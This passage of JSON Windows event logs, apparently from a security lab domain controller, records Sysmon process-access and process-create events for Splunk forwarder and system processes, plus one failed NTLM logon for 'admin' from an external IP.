C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221481,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59087\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59087","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1765,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.344\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nSourceProcessId: 4092\r\nSourceThreadId: 2600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.344","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","SourceProcessId":"4092","SourceThreadId":"2600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1766,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.386\r\nProcessGuid: {90617006-3FE6-5F2D-0000-001051180300}\r\nProcessId: 2412\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" check-license\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.386","ProcessGuid":"{90617006-3FE6-5F2D-0000-001051180300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" check-license","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1767,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+64ab|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1807c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+64ab|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1807c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1768,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1769,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1770,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1771,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1772,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 